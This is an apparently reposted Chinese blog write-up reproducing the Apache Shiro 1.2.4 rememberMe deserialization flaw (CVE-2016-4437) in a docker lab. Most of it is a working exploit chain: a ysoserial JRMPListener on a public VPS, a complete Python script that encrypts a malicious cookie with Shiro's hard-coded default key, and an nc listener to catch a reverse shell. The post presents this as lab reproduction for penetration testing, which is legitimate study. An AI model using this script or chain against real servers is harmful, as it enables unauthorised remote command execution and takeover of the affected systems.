0x00 前言
上次在做众测项目的时候遇到了一个weblogic的站,但是由于没有对漏洞进行一个很好的分析和整理导致在实际情况下遇到了一脸懵逼到最后浪费了非常多的时间,所以就打算也来帮忙写一个组件的漏洞
0x01漏洞复现
Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
介绍
Shiro是Java的一个安全框架,执行身份校验,授权密码管理等
漏洞成因
由于shiro对于Cookie中的rememberMe参数进行了AES加密,但是密钥在代码中进行了硬编码,导致可以利用密钥进行解码人为构造实现任意命令执行
漏洞影响版本
Apache shiro <= 1.2.4
漏洞环境
复现环境:
(测试发现vulhub上的shiro环境无法复现,有可能是自己比较
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 8081:8080 -p 7777:6666 medicean/vulapps:s_shiro_1
攻击环境:
一台公网vps
ysoserial:https://github.com/frohoff/ysoserial
Jdk 1.8+
漏洞复现
访问 http://192.168.1.4:8081
勾选remember_me,抓包,当返回包邮rememberMe=deleteMe的时候说明可以利用
这里我们的目标是要反弹shell,由于该反序列化可以任意代码执行所以我们在目标机上写入反弹shell命令,弹到我们的公网服务器上
http://www.jackson-t.ca/runtime-exec-payloads.html
转换成bash,利用ysoserial在公网vps上启动一个服务,端口为1099
ysoserial是一个反序列化payload的集成包
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 '转化之后的反弹shell语句'
接着利用exp.py 生成我们cookie中的remember me
python 2.x 版本
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES def encode_rememberme(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes encryptor = AES.new(key, AES.MODE_CBC, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = encode_rememberme(sys.argv[1]) print "rememberMe={0}".format(payload.decode())
后面跟着我们公网vps和之前的端口
将生成的rememberMe添加到cookie中
然后再在vps上nc进行监听 nc -lvvp 8888
添加到cookie
成功反弹shell
Poc编写
原文
https://www.wjlshare.xyz/2020/06/25/medusa扫描器部分组件poc编写记录/
本站部分文章源于互联网,本着传播知识、有益学习和研究的目的进行的转载,为网友免费提供。如有著作权人或出版方提出异议,本站将立即删除。如果您对文章转载有任何疑问请告之我们,以便我们及时纠正。PS:推荐一个微信公众号: askHarries 或者qq群:474807195,里面会分享一些资深架构师录制的视频录像:有Spring,MyBatis,Netty源码分析,高并发、高性能、分布式、微服务架构的原理,JVM性能优化这些成为架构师必备的知识体系。还能领取免费的学习资源,目前受益良多

转载请注明原文出处:Harries Blog™ » Medusa扫描器部分组件Poc编写记录